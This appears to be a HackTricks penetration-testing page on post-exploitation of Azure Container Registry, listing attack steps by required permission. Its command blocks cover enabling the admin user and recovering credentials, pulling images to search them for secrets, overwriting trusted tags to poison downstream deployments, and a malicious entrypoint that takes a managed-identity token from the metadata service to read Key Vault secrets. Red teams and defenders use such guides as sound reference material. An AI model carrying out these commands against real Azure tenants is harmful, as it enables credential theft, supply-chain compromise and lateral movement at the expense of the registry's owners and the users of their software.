# Az - Container Registry Post Exploitation

{{#include ../../../banners/hacktricks-training.md}}

## Azure Container Registry

For more information about this service check:

{{#ref}}
../az-services/az-container-registry.md
{{#endref}}

### `Microsoft.ContainerRegistry/registries/listCredentials/action`, `Microsoft.ContainerRegistry/registries/write`

An identity with ACR management-plane access can convert that access into **reusable Docker credentials**. If the **admin user** is disabled but the principal also has `registries/write`, enable it, recover the passwords, and authenticate directly against `<registry>.azurecr.io`.

```bash
az acr show --resource-group <resource-group> --name <registry-name> --query adminUserEnabled
az acr update --resource-group <resource-group> --name <registry-name> --admin-enabled true
az acr credential show -n <registry-name>
docker login <registry-name>.azurecr.io -u <username> -p <password>
```

This is useful because the recovered credentials can be reused outside the Azure CLI to **list, pull, push, overwrite, and sometimes delete** registry content until the admin account is disabled or the passwords are rotated.

### `Microsoft.ContainerRegistry/registries/pull/read`

Use pull access for **repository reconnaissance** and **secret hunting** inside images. Review both the final container configuration and the historical filesystem layers because files copied in one layer may remain recoverable even if deleted later.

```bash
az acr repository list -n <registry-name>
az acr repository show-tags -n <registry-name> --repository <repository> --detail
docker pull <registry-name>.azurecr.io/<repository>:<tag>

container_id=$(docker create <registry-name>.azurecr.io/<repository>:<tag>)
docker cp "$container_id":/ ./extracted_container
docker rm "$container_id"
docker inspect <registry-name>.azurecr.io/<repository>:<tag> | jq -r '.[0].Config.Env[]?'
dive <registry-name>.azurecr.io/<repository>:<tag>
```

High-value targets include **environment variables**, **application configs**, **deployment scripts**, **certificates**, **access tokens**, and **connection strings**. For more ideas while reviewing layers, check the Docker forensics page:

{{#ref}}
https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
{{#endref}}

### `Microsoft.ContainerRegistry/registries/push/write`

Push access lets an attacker **poison trusted repositories** or **overwrite mutable tags** such as `latest`, `prod`, or `stable`. Any workload that still deploys by tag instead of digest may pull the attacker image on the next deployment, scale-out event, or restart.

```bash
# Retag an existing local image for the target ACR

docker tag <local-image>:<local-tag> <registry-name>.azurecr.io/<repository>:<trusted-tag>
docker push <registry-name>.azurecr.io/<repository>:<trusted-tag>

# If your workstation architecture differs from the target runtime, build for the consumer platform first

docker buildx build --platform linux/amd64 -t <registry-name>.azurecr.io/<repository>:<trusted-tag> --load .
docker push <registry-name>.azurecr.io/<repository>:<trusted-tag>
```

Before replacing a tag, verify which repositories and tags are actually consumed by downstream workloads. **Digest-pinned** consumers (`@sha256:...`) are much harder to redirect than tag-based consumers.

### `Microsoft.ContainerRegistry/registries/push/write`, `Microsoft.ContainerInstance/containerGroups/restart/action`

If you can both **replace the image** used by a downstream container workload and **restart** that workload, the malicious entrypoint executes inside the target container's **network and managed identity context**. From there, the image can request tokens from IMDS and access Azure resources reachable by that workload identity.

```bash
TOKEN=$(curl -s -H Metadata:true 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net' | jq -r .access_token)
curl -H "Authorization: Bearer $TOKEN" \
  'https://<vault-name>.vault.azure.net/secrets/<secret-name>?api-version=7.4'
az container restart --resource-group <resource-group> --name <container-name>
```

This turns an ACR tag overwrite into **code execution**, **secret theft**, or **lateral movement** inside any container consumer that trusts the modified tag and exposes a useful identity.

### Related privesc path: ACR Tasks managed identities

If you also have `Microsoft.ContainerRegistry/registries/tasks/write` and `Microsoft.ContainerRegistry/registries/runs/write`, move to the ACR privesc path and abuse the task's managed identity directly:

{{#ref}}
../az-privilege-escalation/az-container-registry-privesc.md
{{#endref}}

## References

- [TrustedSec - Pandora's Container Part 1: Unpacking Azure Container Security](https://trustedsec.com/blog/pandoras-container-part-1-unpacking-azure-container-security)
- [Microsoft Learn - Azure Container Registry authentication](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication)
- [Microsoft Learn - az acr credential](https://learn.microsoft.com/en-us/cli/azure/acr/credential?view=azure-cli-latest)
- [Microsoft Learn - az acr repository](https://learn.microsoft.com/en-us/cli/azure/acr/repository?view=azure-cli-latest)
- [Microsoft Learn - ACR Tasks YAML reference](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-tasks-reference-yaml)

{{#include ../../../banners/hacktricks-training.md}}
